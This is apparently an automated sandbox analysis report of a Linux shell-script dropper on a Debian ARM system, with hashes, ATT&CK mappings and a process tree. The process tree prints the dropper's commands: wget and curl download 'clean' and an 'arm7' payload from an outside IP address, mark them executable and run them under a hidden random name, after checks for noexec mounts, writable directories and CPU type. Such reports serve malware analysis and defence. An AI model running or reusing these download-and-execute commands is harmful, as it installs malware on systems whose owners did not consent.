7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc

Analysis

max time kernel
34s
max time network
36s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/06/2026, 00:40

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General

Target
sh
Size 2KB
Sample260620-a1bk2acw3p
SHA256 7c8e7619c5398d3b857e6f72cf791e2c2e27762ddd8521eb8971c893cdb8b1fc
MD5 d0cf38716e43563331c02cf645ecd993
SHA1 e35e6a0244f8edeb9fe4af22db53655762ec6572
SHA512 b014b744c399ee3c1d091264d774d9361e8d632305230ef2d7f5341646a3adfa0688f2c746779f882ba8cd105cb41b327725fcf9a809b0fba2199119ae63d099
TLSH
T1DA4122BAF4628E3033ADC5BD748A654CA7579A6F491B2E74F087783C27BC32470742A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
778	chmod
804	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads network interface configuration 2 TTPs 6 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 7 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/breakpoint	find
File opened for reading	/sys/devices/virtual/misc/autofs	find
File opened for reading	/sys/kernel/debug/tracing/events/filelock/break_lease_block	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sendto	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_fork	find
File opened for reading	/sys/devices/platform/a002000.virtio_mmio/power	find
File opened for reading	/sys/devices/platform/a003600.virtio_mmio/power	find
File opened for reading	/sys/devices/platform/a003c00.virtio_mmio/virtio0/block/vda/mq/0/cpu0	find
File opened for reading	/sys/module/keyboard/parameters	find
File opened for reading	/sys/kernel/debug/tracing/events/udp/udp_fail_queue_rcv_skb	find
File opened for reading	/sys/kernel/debug/tracing/events/fence/fence_wait_start	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_lgetxattr	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_mknod	find
File opened for reading	/sys/devices/platform/gpio-keys	find
File opened for reading	/sys/devices/virtual/tty/tty29/power	find
File opened for reading	/sys/bus/soc/drivers	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_mballoc_discard	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_load_inode_bitmap	find
File opened for reading	/sys/kernel/debug/tracing/events/block	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_setfsuid16	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sigpending	find
File opened for reading	/sys/module/tda827x/parameters	find
File opened for reading	/sys/kernel/debug/tracing/events/rpm/rpm_return_int	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sendfile	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_mlock	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_rt_sigprocmask	find
File opened for reading	/sys/devices/platform/a000600.virtio_mmio/power	find
File opened for reading	/sys/bus/mdio_bus/devices	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_mq_getsetattr	find
File opened for reading	/sys/class/input	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_direct_IO_enter	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_setsockopt	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_sendmsg	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_geteuid16	find
File opened for reading	/sys/bus/gpio/devices	find
File opened for reading	/sys/module/vt	find
File opened for reading	/sys/module/module	find
File opened for reading	/sys/kernel/debug/tracing/events/fence/fence_init	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_mq_open	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_timer_delete	find
File opened for reading	/sys/bus/platform/drivers/omap_dma_system	find
File opened for reading	/sys/kernel/debug/tracing/events/spi	find
File opened for reading	/sys/kernel/debug/tracing/events/regmap/regmap_hw_read_done	find
File opened for reading	/sys/kernel/debug/tracing/events/writeback/writeback_mark_inode_dirty	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_pciconfig_read	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_newuname	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_getrusage	find
File opened for reading	/sys/module/dvb_core	find
File opened for reading	/sys/kernel/debug/tracing/events/clk/clk_disable	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_pipe	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_timer_delete	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sched_get_priority_max	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_gettid	find
File opened for reading	/sys/devices/virtual/misc/apm_bios/power	find
File opened for reading	/sys/module/ipv6/parameters	find
File opened for reading	/sys/module/apparmor	find
File opened for reading	/sys/devices/virtual/tty/tty11/power	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getpgrp	find
File opened for reading	/sys/firmware/devicetree/base/virtio_mmio@a001a00	find
File opened for reading	/sys/bus/platform/drivers/poweroff-restart	find
File opened for reading	/sys/bus/platform/drivers/sunxi-rtc	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_releasepage	find
File opened for reading	/sys/kernel/debug/tracing/events/ext4/ext4_mballoc_prealloc	find
File opened for reading	/sys/kernel/debug/tracing/events/cma	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/26/task/26	find
File opened for reading	/proc/98/task/98/fd	find
File opened for reading	/proc/294/fd	find
File opened for reading	/proc/338/task/338/net/netfilter	find
File opened for reading	/proc/1/net/stat	find
File opened for reading	/proc/2/fd	find
File opened for reading	/proc/29/task/29/attr	find
File opened for reading	/proc/109/net/dev_snmp6	find
File opened for reading	/proc/318/task/318/attr	find
File opened for reading	/proc/658/task/658/ns	find
File opened for reading	/proc/irq	find
File opened for reading	/proc/2	find
File opened for reading	/proc/5/map_files	find
File opened for reading	/proc/5/net	find
File opened for reading	/proc/17	find
File opened for reading	/proc/18/task/18/fd	find
File opened for reading	/proc/106/task/106/attr	find
File opened for reading	/proc/138/fdinfo	find
File opened for reading	/proc/109/task/109/fd	find
File opened for reading	/proc/138/net/dev_snmp6	find
File opened for reading	/proc/283/fdinfo	find
File opened for reading	/proc/284/fdinfo	find
File opened for reading	/proc/300/task/300/ns	find
File opened for reading	/proc/300/net/netfilter	find
File opened for reading	/proc/634/task/634/net	find
File opened for reading	/proc/sys/net/netfilter/nf_log	find
File opened for reading	/proc/18/task/18/attr	find
File opened for reading	/proc/106/task/106/net/stat	find
File opened for reading	/proc/109/attr	find
File opened for reading	/proc/138/attr	find
File opened for reading	/proc/207/task/207/ns	find
File opened for reading	/proc/300/net/stat	find
File opened for reading	/proc/639/net/stat	find
File opened for reading	/proc/sys/fs/inotify	find
File opened for reading	/proc/sys/net/ipv4/neigh	find
File opened for reading	/proc/16/task/16/fdinfo	find
File opened for reading	/proc/159/ns	find
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/task/2	find
File opened for reading	/proc/3/fd	find
File opened for reading	/proc/26/fd	find
File opened for reading	/proc/98/task/98/ns	find
File opened for reading	/proc/222/net/dev_snmp6	find
File opened for reading	/proc/288/task/288/net/stat	find
File opened for reading	/proc/639/task/639/net/dev_snmp6	find
File opened for reading	/proc/8/task/8	find
File opened for reading	/proc/8/net/dev_snmp6	find
File opened for reading	/proc/41/task/41/fd	find
File opened for reading	/proc/106/fd	find
File opened for reading	/proc/109	find
File opened for reading	/proc/154/net	find
File opened for reading	/proc/222/task/222/fdinfo	find
File opened for reading	/proc/632/task/632/fd	find
File opened for reading	/proc/5/net/stat	find
File opened for reading	/proc/7/net/stat	find
File opened for reading	/proc/28/task/28/fdinfo	find
File opened for reading	/proc/76/task	find
File opened for reading	/proc/109/fdinfo	find
File opened for reading	/proc/169/task/169/net/netfilter	find
File opened for reading	/proc/318/net/netfilter	find
File opened for reading	/proc/589/task/589/net/dev_snmp6	find
File opened for reading	/proc/2/task/2/net/stat	find
File opened for reading	/proc/11/attr	find
File opened for reading	/proc/169/task/169/net	find

/tmp/sh
/tmp/sh
1⤵
PID:643
- /bin/grep
  grep noexec
  2⤵
  PID:654
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:655
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:652
- /usr/bin/whoami
  whoami
  2⤵
  PID:668
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*"
  2⤵
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:671
- /bin/uname
  uname -mp
  2⤵
  PID:758
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:763
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:762
- /usr/bin/expr
  expr 30232 "%" 32 + 4
  2⤵
  PID:764
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:767
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:766
- /usr/bin/head
  head -c 28
  2⤵
  PID:768
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:769
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:771
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:772
- /bin/rm
  rm -rf clean
  2⤵
  PID:773
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/clean
  2⤵
  PID:774
- /usr/bin/curl
  curl -skO https://217.60.195.113/clean
  2⤵
  - Checks CPU configuration
  PID:775
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /bin/sh
  sh clean
  2⤵
  PID:779
- /bin/rm
  rm -rf clean
  2⤵
  PID:780
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:781
- /bin/rm
  rm -rf .hJCLOL5pdFVfxRhrM6mukwfYGz6T
  2⤵
  PID:782
- /bin/grep
  grep -q x86_64
  2⤵
  PID:784
- /bin/grep
  grep -q amd64
  2⤵
  PID:786
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:788
- /bin/grep
  grep -q armv8
  2⤵
  PID:790
- /bin/grep
  grep -q aarch64
  2⤵
  PID:792
- /bin/grep
  grep -q armv7
  2⤵
  PID:794
- /bin/rm
  rm -rf arm7
  2⤵
  PID:795
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.195.113/arm7
  2⤵
  PID:796
- /usr/bin/curl
  curl -skO https://217.60.195.113/arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:797
- /bin/mv
  mv arm7 .hJCLOL5pdFVfxRhrM6mukwfYGz6T
  2⤵
  PID:803
- /bin/chmod
  chmod +x .hJCLOL5pdFVfxRhrM6mukwfYGz6T
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /.hJCLOL5pdFVfxRhrM6mukwfYGz6T
  ./.hJCLOL5pdFVfxRhrM6mukwfYGz6T
  2⤵
  PID:805

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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